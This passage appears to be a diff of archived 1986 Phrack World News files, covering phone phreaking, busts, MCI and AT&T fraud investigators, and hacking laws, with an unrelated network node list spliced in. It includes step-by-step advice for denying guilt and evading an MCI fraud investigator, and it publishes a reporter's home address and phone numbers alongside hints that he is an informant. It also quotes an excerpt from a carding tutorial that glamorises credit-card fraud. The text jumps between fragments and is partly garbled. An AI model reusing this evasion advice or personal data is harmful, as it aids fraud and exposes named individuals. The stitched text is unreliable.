so they would be harder to jam. If we had +to guess which uplink was used to jam HBO, we would pick one that was already +locked into the same satellite, such as one of the superstations.

May 20, 1986 +------------------- +Ralph Meola is the Head of AT&T Security in New Jersey and theoretically +everywhere else as well. He is known to have a computer file on hackers and +phreaks, and an investigative team, that rivals John Maxfield's "BoardScan". + +How did Meola enter into the public eye? Well, we at Phrack really aren't +completely sure but, the general idea is that a friend of Sigmund Fraud (See +TelePub'86 in PWN issue III), using social engineering in order to gain +information from AT&T, somehow came into contact with Ralph Meola. + +Later, Sigmund Fraud was also brought into this and decided to give Ralph Meola +a call himself. With Gin Fizz on Sigmund's 3-Way, he got Meola on the phone +and said,"Hey! This is Sigmund Fraud!" Typing sounds could be heard in the +background and in a few seconds Meola responded with Sigmund Fraud's real name, +address, phone numbers, and the names of several BBSes that he was on. + +Meola then insisted that Sigmund Fraud give him his account on Stronghold East +or at the very least, all of the newuser logon procedures and passwords. +Failure to do so would mean big trouble for Sigmund Fraud. Sigmund of course +gave Meola the always nice "fuck you!" and hung up on Meola. + +Although Sigmund Fraud was (at the time) on Metal Shop Private, Meola didn't +know it, or at least he didn't mention it as a BBS that Sigmund was on. This +means that Meola has no agents on Metal Shop Private. It is also known that +Meola has no agents on Stronghold East. Otherwise he wouldn't have needed the +password information from Sigmund. It is believed that Meola was on Stronghold +East before the MASSIVE purge several months ago. + + Information Provided by Sigmund Fraud/Gin Fizz/Slave Driver + The assumptions and theories are my own -KL +------------------------------------------------------------------------------- +Slave Driver has since sent Ralph Meola the following letter: +------------------------------------------------------------------------------- +TO: Ralph Meeola + Head AT&T Security + +From: Slave Driver + +Re: My user. + + Hello.

They used "Blue Boxes" and stolen or compromised +authorization codes or credit card numbers to use the long-distance networks +of several companies. + +Blue Boxes are electronic tone-generating devices used to bypass billing +systems and gain access to company networks. They can be assembled from +generally available electronic parts or they can be purchased ready-made +through illegal sources. + +In the New York raids, agents seized unauthorized cods and credit card numbers, +four Blue Boxes and more than 20 telephones. + +It is estimated that in 1984, fraud in the telecommunications industry totaled +$500 million nationwide, and approximately $70 million in the New York City +area. + +CFCA members are primarily inter-exchange carriers, such as MCI, but resale +carriers and some Bell Operating Companies (BOCs) are also members, along with +representatives of computer services and credit card companies. + +Bowens says CFCA is intensifying efforts to stop the spread of fraud. Among +other things, CFCA is developing educational packages for carriers and the +public to promote widespread understanding of telephone fraud and ways to +counter the crime. + +"Our aim is jointly to prevent, detect, investigate and prosecute any +fraudulent use of our long-distance networks," Bowens said. + +Authorization codes are obtained by theft from individuals and by "hackers" who +randomly try combinations of numbers by telephone or through computer scanning +of number combinations until a working code is "hit." Illegally obtained codes +are fraudulently used by "boiler room" telemarketing operations, for example, +or are passed along for use by individuals. + +MCI had developed software to detect illegal entry into its network and it is +expected that the spread of dial 1 service, in which authorization codes are +not used, will help reduce the incidence of telephone fraud. +------------------------------------------------------------------------------- +Comments from the Bootleg: + +You reckon they mean us??????????????? + +What's wrong with them, can't they take a joke??????????? +_______________________________________________________________________________ + +The Many Faces Of Fraud +----------------------- +The following is an article from the January issue of MCI World, a monthly +newsletter published by MCI for it's employees. +------------------------------------------------------------------------------- +This new year will see a stepped up MCI attack on telephone fraud--illegal use +of the long distance network through access by stolen authorization codes or +electronic devices. The offensive is led by Everick Bowens, senior manager of +MCI's security investigations department and president of the industry-wide +Communications Fraud Control Association (CFCA). Success in curbing this theft +of service has earned MCI security investigators a reputation as super sleuths +at headquarters and in the divisions. + +New teeth were added to the attack on telephone fraud when the U.S. Secret +Service was assigned to augment continuing investigative efforts by the FBI and +other law enforcement agencies. + +Because telephone fraud is outright theft from the company, MCI is determined +to prevent, detect, investigate and prosecute any illicit use of its network. +To learn more about how MCI conducts its anti-fraud campaign, MCI World talked +with Bowens. + +MCI World: Is it true that MCI has systems that can detect fraudulent activity + while it is occurring? + +Bowens: Yes, our fraud systems detect abnormal usage and hacking. The systems + also help us to track down offenders even when we have only the + authorization code he or she is abusing. Because we can profile + abusers and trace phone calls, it is easier for us to prepare cases + for prosecution. + +MCI World: Abuses involving computer "hacking" to get authorization codes seem + to attract public attention. But there are other types of fraud + equally damaging to the telecommunications industry. Would you + identify some of these? + +Bowens: The primary form of abuse is by "hackers," who use computer programs to + derive customers' authorization codes. These codes can be widely + disseminated via electronic bulletin boards. Because many of these + boards are public, the codes fall into the hands of anyone with access + to the boards. We also encounter electronic toll fraud, which involves + tone-generating devices that allow offenders to place fraudulent calls. + +MCI World: Is one type of fraudulent activity more prevalent than another? + +Bowens: Nationwide, fraud most frequently originates from military posts, + college campuses, and prisons--places where there are numbers of people + far from home, or who have little else to do but manipulate the + telephone. This type of abuse prompts the bulk of our investigations. + +MCI World: Who is most likely to commit fraud? Is there a general profile of + the common offender? + +Bowens: Computer crime typically occurs in affluent, metropolitan suburbs + and involves juveniles. Electronic fraud also occurs in major + metropolitan areas. Other abusers, such as high-pressure + tele-marketeers, usually follow the coast lines. California and + Florida, for "boiler room" operations in which phone service is used + illegally to sell merchandise. However, fraud can't be totally + attributed to any specific group at any particular time. + +MCI World: How can you keep up with code abuse and fraud? Don't offenders + change frequently? + +Bowens: Interestingly enough, the patterns don't change much. Those who commit + fraud form a finite community that doesn't expand a great a great deal + over time. Casual offenders, individuals who may take advantage of a + "hot" toll free number, will use the number only when it's hot. Once + the number no longer works, they're not likely to repeat the offense. + On the other hand, repeat offenders are dedicated to getting something + for nothing. They're somewhat easier to identify because they commit + the same offense over and over. + +MCI World: How does MCI know when it is the target of fraudulent activity? + +Bowens: Our systems generally alert us, or an employee or a customer informs + us. People know the MCI name. When they recognize something happening + illegally with an authorization code, they'll get in touch with us. + People generally feel that a cheat is a cheat, a crook is a crook, and + if they have to pay full value for a phone call they see no reason why + someone else shouldn't. There also are professional tipsters who go + from one company to another offering information for a price. However, + we rarely deal with them. + +MCI World: Which MCI people, by the nature of their jobs, are most likely to + detect or at least suspect, fraudulent activity? + +Bowens: Our switch technicians have been very instrumental in detecting abuse. + They're in a position to identify extensive busy signals on circuits, + abnormal calling patterns, and code use. They've identified many + hackers just by reviewing their daily call statistics. Employees in our + billing department are also good at spotting unusually large bills and + abnormal patterns. Though most fraud is detected by the systems we + have in place, the human eye continues to be extremely helpful. + +MCI World: In addition to working with internal people to help detect + fraudulent activity, you also rely on the expertise of external + agencies. Which outside agencies assist you with investigations. + +Bowens: When fraudulent activity involves the theft or illicit use of + authorization codes or credit calling cards, MCI and the Secret Service + work together to investigate the case. If other activity is involved, + such as the use of our service in furtherance of other crime, MCI works + with the FBI. When the U.S. Postal Service is manipulated in a fraud + case, MCI and postal inspectors investigate together. Additionally, + Bell Operating Companies (BOCs) often provide hard evidence in cases + that MCI prosecutes. + +MCI World: When you are alerted to suspected fraudulent activity, what steps do + you take to open and pursue the case? + +Bowens: Security investigators contact the customer whose code is being abused, + advise them of MCI's suspicions, and attempt to confirm them. If the + response confirms their suspicion of fraud, they open the case. + Normally, an investigation entails much research into toll records to + identify abusers, unusual call patterns and the parties who might be + involved in illicit activity. We also interview parties receiving the + calls and document their statements. Once we collect sufficient + evidence, we decide whether a case should be pursued as a criminal or + civil action. + +MCI World: How long does it normally take MCI's investigators to "crack" a + case? + +Bowens: Typically, investigators can crack a case within hours. Identifying + fraud suspects is the easy part. Amassing the evidence--dotting all + of the legal i's and crossing the t's--is tougher. Gathering evidence + may take weeks and large cases involving many parties can take months + to solve. + +MCI World: With fraudulent activity knowing no geographical restrictions, how + do you segment the problem divisionally? + +Bowens: The security investigations department acts primarily in an advisory + capacity, helping investigators in the divisions with procedural + matters. The divisions generally take responsibility for investigating + fraudulent activity within their jurisdictions and corporate + investigators pursue cases that are large in scope or require specific + expertise. Corporate also takes on cases involving offenders operating + in more than one division. + +MCI World: Can you elaborate on MCI's goals for reducing the level of + fraudulent activity? + +Bowens: We want to reduce fraud to the lowest possible level. One of MCI's + goals is to cut fraud by more than half in 1986. We want to be the + industry leader in curbing this illegal activity. +_______________________________________________________________________________ + +Broadway Hacker Turned Fed Informant? June 2, 1986 +------------------------------------- +Broadway Hacker recently called Phreakers Quest and left feedback to the +sysop of that system (Shawn) saying, "I do believe that some of this +information here is illegal." Shawn called Dark Creeper and reported this to +him who then later told it to me. + +Sometime later, Broadway Hacker called Knight Bandit to voice validate him for +The Radio Station. He claimed he was some sort of fed and that KB would be +hearing from someone in Bell Security. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +The Radio Station is down because Broadway Hacker has sold his computer, his +disks, and everything else and is moving to his new job at an unknown +destination. When I spoke with him, he went on that he sold his user log, but +would not comment on that any further. He wanted me to print that he was a fed +and that all of his former users would soon be receiving visits from the FBI. +This is exactly what he told Phantom Phreaker and several others which started +a mass riot in the phreak world. One result was the takedown of Alliance for +fear of its safety. It since has been put back up. + +Broadway justified his actions by saying that by telling rodents he was a fed, +it would keep them off his board. Later he said that since he is leaving the +phreak world and no one knows where he is going, "To hell with the phreak +world, let it fall apart and die for all I care." So this fed scare is an +attempt to do just that. Was it a joke? Did he mean that really? I don't +know. Maybe he did mean it then but now has changed his mind... + +No one should be worried about this, everything is ok, and Broadway is not +working with the FBI. He now claims that he needed his line free for business +calls and all of the above were attempts to get people not to be calling him as +he didn't have the time or patience. Use your own judgement. + +Broadway Hacker still has his Vic 20 and an old modem and is attempting to get +back on boards. He has also stated that the Radio Station BBS will be put back +up at the end of the summer. Where it will be run from is unknown although, +Broadway speculated that when it returns it would be run off of an Amiga. + + Information Provided by + Broadway Hacker/Dark Creeper/Knight Bandit/Phantom Phreaker +_______________________________________________________________________________ + + + +========================================================================= + + ==Phrack Inc.== + + Volume One, Issue Six, Phile 12 of 13 + +:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.: + + *-=+^ Phrack World News ^+=-* + + Issue Five/Part 4 + + Compiled and Written By + + Knight Lightning + +:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.: + +Grown-Up Laws Sought For Computer Criminals +------------------------------------------- +By Dave Skidmore (Associated Press) + +WASHINGTON-Teen-age computer hackers are giving way to a new generation of +people who steal information from computers for profit rather than fun, the +head of a House crime panel said Wednesday. + +"The hackers were the first generation we saw. Now we have a lot of +professionals who are getting into the business of accessing computer data +bases," said Rep. William J. Hughes, D-N.J. [609/645-7957 or 202/225-6572], the +sponsor of legislation aimed at helping law enforcement authorities better cope +with the problem. + +Hughes commented as the House subcommittee on crime, which he heads, studied +the proposed Computer Fraud and Abuse Act. + +Teen-age computer hobbyists, motivated fun and desire for status among fellow +hobbyists, use home computers and the telephone to "hack" into government and +industry data bases. + +Now, Hughes said, hackers' techniques are being increasingly used by +industrial spies who sell trade secrets gleaned from corporate computers and +thieves who change bank records to steal millions of dollars. + +"Computer crime is probably one of the fastest growing areas of crime. (It's) +going to make the old robbery and burglary a little passe with certain +professionals," he said. + +Hughes' bill, cosponsored by Reps. Bill McCollum, R-Fla [202/225-2176], and +Bill Nelson, D-Fla [202/225-3671], creates three new offenses. + +1. It forbids unauthorized access to a computer and drops a requirement that + the government prove information in the computer was used or altered. + +2. It outlaws "pirate bulletin boards" used by hackers to trade secret computer + codes and passwords. + +3. It makes it a felony punishable by up to five years in prison and a $250,000 + fine to maliciously cause damage in excess of $1,000 to a computer program + or data base. + +That section of the bill would apply to so-called "Trojan Horse" programs +which, when achieving access to another computer, destroy all the data and +programs in that computer. + +The legislation is intended to plug loopholes in anti-crime legislation +passed by Congress in 1984, Hughes said. It applies to computers used by the +federal government or its contractors and bank and loan association computers. + +Hughes said he expected his bill and similar legislations sponsored by Sen. +Paul S. Trible Jr., R-Va [804/771-2221 or 202/224-4024], to reach the House +and Senate floors sometime in May. + + Information Provided by Blue Buccaneer +------------------------------------------------------------------------------- +The following is a critical breakdown of the above article. +------------------------------------------------------------------------------- +Blue Buccaneer: + +Concerning this law: I always thought it would be more fun to hack for cash, +but hey... Anyway, the three new offenses are what I am not to fond of: + +1) "forbids unauthorized access to a computer" (Gosh, really?) "and drops a + requirement that the government prove information in a computer was used or + altered" Now what kinda law is that?! The government can just arrest + someone and not have to prove anything? COME ON! + +2) "It outlaws 'pirate BBSes'" When will these people learn the correct + terminology?

I'd +kinda assume Trojan Horses were covered under the "maliciously" destroying +data rule. + Above written by Blue Buccaneer +_______________________________________________________________________________ + +Computer Kids, Or Criminals? +---------------------------- +Mr. Slippery, age 12, never thought playing on his home computer amounted to +much more than harmless fun -- until a mysterious call from a stranger one day +proved otherwise. "I got a funny phone call from someone offering me money to +destroy a bank's records," said Slippery, identified by his hacker alias. "At +that point in time, I realized that that's an incredible way to launder money. +That if I was real smart, I would move out of the whole thing, because that was +an obvious point at organized crime, to me." + +Hacking, or using a personal computer to trespass by phone lines into the +private computer systems of corporations, foundations, universities and banks, +is a new form of organized crime, say experts. In the last year or two, a new, +sophisticated breed of hacker has emerged. Their ages vary, from the early +hackers who started at 14, and have now entered college, to adults who operate +computerized crime networks, but their motives are similar: criminal. + +When Mr. Slippery started hacking seven years ago he as an exception among +pimply faced, curious kids whose computers were toys for cheap, and typically +harmless, thrills. For four years, he lived up to his alias, eventually +penetrating top security government computers at the Department of Defense +(DOD) and the National Security Agency (NSA). Mr. Slippery remained undetected +until his last several weeks as a hacker. He was never caught, never +convicted. Toward the end, he realized government security agents were +following him and decided to put away his phone modem for good. + +"After about four years of this, though, I started realizing that an entirely +new crowd had sprung up," observes Mr. Slippery, now a 19-year-old ex-hacker. +"You now have the 14 year olds who were running around destroying things seeing +how much trouble they could cause." Computer crime experts say the hacker +problem is getting worse, even though industries are increasingly reluctant to +discuss the topic. "The malicious hacker problem is continuing to increase +drastically and is getting far more serious," said Donn B. Parker, author of +Fighting Computer Crime and a computer and data security consultant at SRI +International, a California-based, non-profit research institute. + +"The lowering costs of equipment, the attraction of it for new kids coming into +it as a rite of passage, points to increasing vulnerability of American +business to the hacker problem." Parker's expertise got him hired as a +technical consultant to the movie War Games about two teen-age hackers who +penetrate government defense computers. Where there is evidence of serious +computer hacker crime is on electronic bulletin board systems (BBSes), where +hackers share gathered intelligence. "Phone companies have huge investments +in their equipment that is highly vulnerable to the hackers, who have figured +out how to beat them, and have used pirate boards for their intelligence +purposes," said SRI International's Parker. + +"A large proportion of these kids are, in fact, juvenile delinquents with other +arrest records." Recently, a hacker posted this on a local BBS: +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +I live in Cleveland and the Pheds are fucking everywhere. This guy who goes by +the alias Lou Zer got caught and they told him if he narced on like 5 people he +would get off with probation so he did that. Now like half the 2300 club has +been busted and this kid has a lot of problems in the future. Also I have seen +cops that I know of dressed as fucking federal express guys. Try and avoid +using them. Also, here's some PBXs to fuck with. They belong to Standard Oil. + + --Later, Sir Gallahad +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Other BBSs post lists of telephone numbers of Fortune 1000 corporations, banks, +credit bureaus, universities, and foundations. + +Admittedly, many of the numbers are invalid, say experts. Though there are +BBSes that admit members only by invitation and operate as part of a computer +underground, others can be accessed by anyone with a computer and a phone +modem. Often the boards carry foreboding names like The Sanctuary, Future +World, Dark Side, Deathtrap and Speed Demon Elite. Computer crime is sometimes +called the perfect crime. Its perpetrators are anonymous hackers using aliases +like Phantom Phreaker, Big Brother, Bootleg, Sigmund Fraud, and Scan Man. + +John Maxfield is a computer security consultant who lives in a downriver +suburb. Maxfield spends most of his working hours scanning BBSs, and is known +by computer crime experts as a hacker tracker. His investigative work scanning +boards has resulted in more prosecutions of computer hackers than anyone else +in the field, say sources familiar with his work. Maxfield, who accepts death +threats and other scare tactics as part of the job, says the trick is knowing +the enemy. Next to his monstrous, homemade computer system, Maxfield boasts +the only file on computer hackers that exists. It contains several thousand +aliases used by hackers, many followed by their real names and home phone +numbers. All of it is the result of four years of steady hacker-tracking, says +Maxfield. "I've achieved what most hackers would dearly love to achieve," said +Maxfield. "Hacking the hacker is the ultimate hack." + +Maxfield estimates there are currently 50,000 hackers operating in the computer +underground and close to 1,000 underground bulletin boards. Of these, he +estimates about 200 bulletin boards are "nasty," posting credit card numbers, +phone numbers of Fortune 500 corporations, regional phone companies, banks, and +even authored tutorials on how to make bombs and explosives. One growing camp +of serious hackers is college students, who typically started hacking at 14 and +are now into drug trafficking, mainly LSD and cocaine, said Maxfield. This is +an example of a recent BBS posting: +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +WANTED: LSD, of any kind. Leave me mail if you're willing to talk prices, I'll +take anything up to $5 a hit. $3 is more likely. + + --urlord +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +The BBSs are versatile teaching tools, too. Hackers post detailed tutorials +on: + +HACKING: Using a personal computer and modem to trespass into the private + computer systems of corporations, foundations, universities, and + banks. + +CARDING: Using valid credit card numbers obtained from discarded carbons, + accounts posted at video rental stores, or even by hacking credit + bureau computers. + +TRASHING: Sifting through trash to find discarded credit card carbons, + receipts, computer passwords, code words, confidential phone company + directories. + +PHREAKING or FONING: Manipulating phone systems, usually to make + long-distance calls at no charge. +------------------------------------------------------------------------------- +Below is an excerpt from a four-part tutorial on credit card fraud posted on an +exclusive East Coast BBS for elite advanced hackers: +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Carding! By Music Major. Believe it or not, without carding, a damper would be +put on the computer users of America (and especially Canada). Can you imagine +trying to save enough money to BUY a 2400 baud modem and a 30 meg drive for a +BBS? Oh, of course it can be done, but considering that a majority of the +active computer users are still in school, and most do not have a steady job, +it will take too long, and cost too much for this average person to spend on a +BBS. Working at minimum wage at a part-time job, it would take 30 weeks of +CONSTANT saving to put up the BBS (with good modem and good drive). Not a +pretty thought! When the going gets tough, the tough go carding! + +Music Major goes into more detail on later, he warns younger hackers about the +possible risks of trying a method he claims he invented: "I have called this +method foning for cards. To be convincing, you MUST have a fluent tongue and a +semi-deep voice (skip this part if your voice is still cracking--refer back +when you get a real voice)." +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Maxfield's operation is called BoardScan. He is paid by major corporations and +institutions to gather and provide them with pertinent intelligence about the +computer underground. Maxfield also relies on reformed hackers. Letters of +thanks from VISA and McDonald's decorate a wall in his office along with an +autographed photo of Scottie, the engineer on Star Trek's Starship Enterprise. + +Often he contacts potential clients about business. "More often I call them +and say, I've detected a hacker in your system," said Maxfield. "At that +point, they're firmly entrenched. Once the hackers get into your computer, +you're in trouble. It's analogous to having roaches or mice in the walls of +your house. They don't make their presence known at first. But one day you +open the refrigerator door and a handful of roaches drop out." + +Prior to tracking hackers, Maxfield worked for 20-odd years in the hardware end +of the business, installing and repairing computers and phone systems. When +the FBI recruited him a few years back to work undercover as a hacker and phone +phreak, Maxfield concluded fighting hacker crime must be his mission in life. + +"So I became the hacker I was always afraid I would become," he said. Maxfield +believes the hacker problem is growing more serious. He estimates there were +just 400 to 500 hackers in 1982. Every two years, he says, the numbers +increase by a factor of 10. Another worrisome trend to emerge recently is the +presence of adult computer hackers. Some adults in the computer underground +pose as Fagans, a character from a Charles Dickens novel who ran a crime ring +of young boys, luring young hackers to their underground crime rings. + + Courtesy of Galaxy Girl and Silicon Thief + Major Editing by Knight Lightning + Written by Lisa Olson (News Staff Writer for Detroit News) +------------------------------------------------------------------------------- +A few notes: It is my assumption that Music Major's Carding Tutorial was +from KL actually four posts made on the Carding Subboard on Stronghold +------- East. If this is true then it would mean that at the time or + previous to the time of this article Maxfield was on SE. This + post was probably taken in before the MASSIVE user purge on + Stronghold East. +_______________________________________________________________________________ + + + +========================================================================= + + CONNECTED NODES AS OF 10/05/88 + TOTAL NODES = 2491 + + +Node Site System +-------- ---------------------------------------- --------------------------- +DOCCRC OS CP6 +UNCACDC +UNCAMULT +EWC VMS +DKATS11 Aarhus Tek Skole (ATS) IBM VM/SP R4 +DKJAU11 Aarhus Tekniske Skole, Denmark IBM VM/SP R4 +DKAAUCHE Aarhus Univ VMS +ACUVAX Abilene Christian Univ VMS +FINABO Abo Akademi DEC VMS 4 3 +ACADIA Acadia U NOS +IMIAGIP1 AGIP S p.A.

May 20, 1986 +----------------------------------------------- +This article in no way endorses one view over the other, but will try to look +at evidence and facts pertaining to both of the above statements. + +Daniel Zigmond; Wants to write an article on hackers and phreaks, our general +social atmosphere, and our side of the story. He IS a contributing editor on +the staff of Amiga World Magazine and he has lived at 6735 Forest Glen Road, +Squrill Hill, Penn. and had the phone numbers (412)422-1979/7515 for at least 3 +years. Reportedly he has accounts on ARPAnet, Private Sector, and Byte +Magazine BBS. + +He has been on several conferences and been talking to several phreaks across +the nation. To name a few: Blue Buccaneer, Cap/N/Crax, Compu-Phreak, Dark +Cavalier, Dead Lord, Final Impulse, Holophax Phreaker, Knight Lightning, Ninja +NYC, Scan Man, Sigmund Fraud, Slave Driver, The Bootleg, The Clashmaster, The +Infiltrator, The Firelord, The Seker, and TUC. + +He tapes all his conversations and has tried to get people to call other +phreaks on 3-ways in attempts to gain their phone numbers. He did however make +some attempts to help Sigmund Fraud after his near bust (see story in this +issue). + +There are a few extremely odd things about Mr. Zigmond. + +1. He wants everyone to send him their codes, extenders, PBXs, diverters, etc. + Even if they no longer work. When asked why, he answered that he needed + something to show his boss so he wouldn't be turned down because of what + would seem to be a b.s. article. + + Why doesn't he just make things up? After all he said that the stuff + didn't have to be good. His reply to that was that his boss might check a + few. Well if they were dead codes or PBXs or whatever then he would be up + the creek anyway. + + Ok, forgetting about that for a moment, Zigmond also asked that people + photocopy their notebooks and send those copies to him and that he would + pay the postage and for the photocopies. This of course means he gets your + address and at the very least your township and such (that is if you don't + leave a return address) from the postmark. + +2. He has refused to give out a phone number to reach him at work or at Amiga + World. Furthermore, he doesn't plan to have the article in Amiga World, + but rather, he has stated that it would be sold to the Washington Post. + + Now I talked with people at the Washington Post and they know nothing about + this. I spoke with people in several different areas and turned a blank. + They didn't even know who Zigmond was. + + This leaves 2 possibilities. He either never really had any intention of + submitting this article to them or was just sort of running with the mouth + in search of glory and attention. + +3. A PBX that Sigmund Fraud had found while hacking in a UNIX was given to + Zigmond. It had never been used before, with the exception of a single + conference to test it out, and within a week of giving it to Zigmond it was + gone. + +4. Another biggie is that Zigmond claims that by the time he submits this + article in August 1986 (to wherever) that if he gets $900 for it, he would + break even. He is saying this from his phone bills and other expenses on + the article. + + Now only breaking even after all that time, work, and effort seems a bit + worthless to me, why would he do it? You know, they say that fed + informants get paid very well, not that I am suggesting that Zigmond is a + fed informant. +------------------------------------------------------------------------------- +Some other stuff that may be interesting to know is that Zigmond insists that +he will be getting accounts to Metal Shop Private and Stronghold East when +Taran King and Slave Driver have given very strong "no"s. He goes around +telling this to people. His phone answering machine gives you less than ten +seconds to leave a message, this is perhaps to prevent hacking, but +nevertheless annoying. +------------------------------------------------------------------------------ +Now please everyone take this file in the way it was intended. This is not +saying that Daniel Zigmond is helping the feds, he may be completely interested +and wanting to learn about our society. From this I gather that he will learn +that in the phreak community we try to protect each other from getting busted +and that a reporter like him could literally destroy the phreak world if he was +working with the feds and left unquestioned and unchecked. + +This article is a warning to all who may contact Zigmond to use your own good +judgement in dealing with him. I'm sure that once he answers the questions +raised in this article then everything will be alright. +------------------------------------------------------------------------------- +The only other thing I wanted to say is that in general reporters have hurt the +phreak/hack world tremendously in the past. They bring too much attention to +the phreaks and bring us into the public eye. As a result there has been much +more legislation creating news laws against us. Some examples are evident in +this very issue of PWN. Blue Buccaneer points out all sorts of things in +the new hacking laws article. Remember the new laws about sysops being +responsible for the boards? Did you see how that was used in the Teltec busts? +It getting incredibly dangerous out there friends, lets try not to make it any +worse. + +:Knight Lightning +_______________________________________________________________________________ + +Defeat Richard Proctor In 4 Easy Steps! June 10, 1986 +--------------------------------------- +Who is this new investigator Atlanta? What makes him today's newest and +possibly greatest threat to the phreak world? The following information +concerns an MCI investigator named Richard Proctor, alias; John Proctor. +------------------------------------------------------------------------------ +Richard Proctor, who also introduces himself to others as John Proctor, is one +of the various MCI investigators that now lurk the nation. He is in charge of +most of MCI's security/investigation divisions, and is in charge of running the +southeast, east coast, and northeast MCI Investigations. He has also been +involved with phreaks in the midwest and southwest. + +I am not sure of the extent of his "jurisdiction," but all users of MCI should +be careful no matter where they are located. Holophax Phreaker and The +Infiltrator can personally tell you how he runs the MCI Investigations as they +have been under investigation twice to date. Holophax Phreaker is currently +still under investigation by Proctor and even by his own local Bell Operating +Company (BOC). + +The first thing most investigators would do when they find an access code has +been abused is to wait until it has a large bill to act upon it (which may +never happen). This is because it is unprofitable to the long distance service +to try to find and prosecute a person who has made less than $500.00 worth of +calls (depending on the LD service). + +Richard Proctor is a very different case. As soon as he finds an access code +is being abused, he will take immediate action. The following is the series of +events which will take place once Proctor discovers an abused account. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +In the following steps, "you" are the phreaker in question that was making the +calls (heaven forbid). The steps listed are for both "you" and the person(s) +receiving the illegally made phone calls. + +Step 1: Proctor will personally call *EVERY* destination number on the account + and ask for information on who called them on the date(s) the call(s) + were made. If it is a bulletin board, he will contact the sysop by + voice or if there is no voice number available, he will send one or + more investigators from the nearest MCI Investigations Department to + question the sysop. He will ask them for information pertaining to + the phreaker. Hopefully, your amnesiac friends will somehow forget + all about you and be able to tell Proctor nothing. + +Step 2: Proctor waits a couple of days, then he again contacts the person(s) + that received calls and says that he has found you and that you have + told him that the people "you" had been speaking with also made those + calls and that the Proctor will bust the person(s) who were called + unless they would like to pay for the calls. (If this part pertains + to you, that is if you were the one who received calls and Proctor or + any agent said this then, at this point you should contact an attorney + as this is telephone harassment, a federal crime committed over an + interstate communications carrier, and you could sue MCI or whichever + company it involved). + +Step 3: If some of the person(s) called by you weren't as amnesiac as you + would have liked when Proctor spoke to them and then Proctor calls you + or your parents, then you should deny everything that Proctor accuses + you of, no matter how many people he says turned you in. Proctor will + be lying (one hopes) so deny everything. + +Step 4: Proctor will call you again in a couple of days and tell you that you + have one last chance to turn yourself in. When you say no again, + Proctor will try to scare you by telling you that MCI is going to make + an example of you and prosecute to the fullest extent. If Proctor + does this, then you know he has no evidence on you or at most, + circumstantial evidence. + +You might get a couple of calls after that. Keep denying it and make sure you +drop out of phreaking for approximately 1 1/2 - 2 months. If you get a call +from your local phone company then drop out for at least 6 months to a year. +They will most likely put a pen register or a DNR on your line. + +Proctor has PhDs in Psychology and Criminal Psychology so be very careful! He +can't do anything to you if you follow the above guidelines unless he had a +trace put on the account you were using. If that is the case, then he will +show up at your door arrest you. Your best bet is to stay away from it +entirely. Proctor's home phone is unlisted (of course), but his office number +can be obtained from any MCI operator. + + Information Provided by + Holophax Phreaker and The Infiltrator +_______________________________________________________________________________ + +Quick Notes +----------- +Stronghold East is now running on a new Apple //e thanks to their friends at +AMEX. They formally ran SE off of a Franklin Ace. May 3, 1986 +Most recently the hard drive at SE crashed and until they acquire the new +ProDos Apple net, they will be running Phlash-Net written by Phlash Gordon. +------------------------------------------------------------------------------- +Rumor has it that the Apple Wizard was busted for dealing and using coke. +------------------------------------------------------------------------------- +A guy named the CPTN was busted in Nevada for something pertaining to the +Captain Midnight incident. He was also busted for carding and was caught with +illegally obtained modems. Info by Death Angel. +------------------------------------------------------------------------------- +A member of the Underworld Elite, run by Night Stalker, got busted for calling +the White House and making a bomb threat. The Secret Service came to his house +and they knew he used illegal extenders to make the calls. This user decided +to give them the number and his passwords to the Underworld Elite. He was +deleted. Info by Night Stalker, 5/11/86...The Underworld (216)356-9464 +------------------------------------------------------------------------------- +Telenet Bob was busted. The full story appeared in the April issue of 2600 +Magazine. Nineteen year old from New Jersey. Name Robert Davenport. $500 +fine, $890 restitution to AT&T. Info by Sally Ride:::Space Cadet +------------------------------------------------------------------------------- +Bad Boy In Black has given up BBSing and Phreaking (for the most part) so you +probably won't be hearing from him again. He claims he has gotten bored of +BBSing and have had little time since the summer is rolling around. Therefore, +he decided to give it up all together. Info by [bad boy in black] 5/11/86 +------------------------------------------------------------------------------- +Shooting Shark has also left the phreak world for the more or less same +reasons plus the fact that he is going to college. Info by Shooting Shark. +------------------------------------------------------------------------------- +In Texas, some cop was running a bbs called the Tunnel. No one was busted, but +names and handles of those posting illegal codes were collected. The cop has +received several death threats. +------------------------------------------------------------------------------- +The Slayer was busted on April 25, 1986. Reportedly he was visited by agents +from Metrophone, MCI, New Jersey Bell, and the FBI. His bust concerned Metro +abuse. The Godfather, in Rhode Island, was also linked to this bust as well +and as of now has quite the phreak world, but no further information is +available on that. Most recently it has been discovered that the Slayer has +been hired as a TSPS operator. +------------------------------------------------------------------------------- +More news on The Sprinter here; after all was said and done, Sprinter plea +bargained (as expected) and plead guilty to the charges. He spent 14 days in +jail, has a $2000 fine, 2 years probation, 200 hours community service, and of +course those lawyer costs. He at this point has not accepted a job with +MicroSoft. Info by Jester Sluggo. +------------------------------------------------------------------------------- +It has been reported that The Mentor and Crustaceo Mutoid are now writing for +a newsletter in California called The Underground Informer. +------------------------------------------------------------------------------- +The Arabian Knight was busted for conferencing. +------------------------------------------------------------------------------- +The Guardian Demon (215) was apparently busted for Metrophone abuse, but formal +charges have not been brought forth. +------------------------------------------------------------------------------- +Jester Sluggo has officially retired from all board calling and is now into +straight hacking. He will maintain his contacts in the phreak world. Sysops +are asked to remove his accounts. +_______________________________________________________________________________ + + + +========================================================================= + diff --git a/public/docs/PHRACK/PHRACK-7.txt b/public/docs/PHRACK/PHRACK-7.txt new file mode 100644 index 0000000..68ee860 --- /dev/null +++ b/public/docs/PHRACK/PHRACK-7.txt @@ -0,0 +1,1975 @@ + + + ==Phrack Inc.== + + Volume 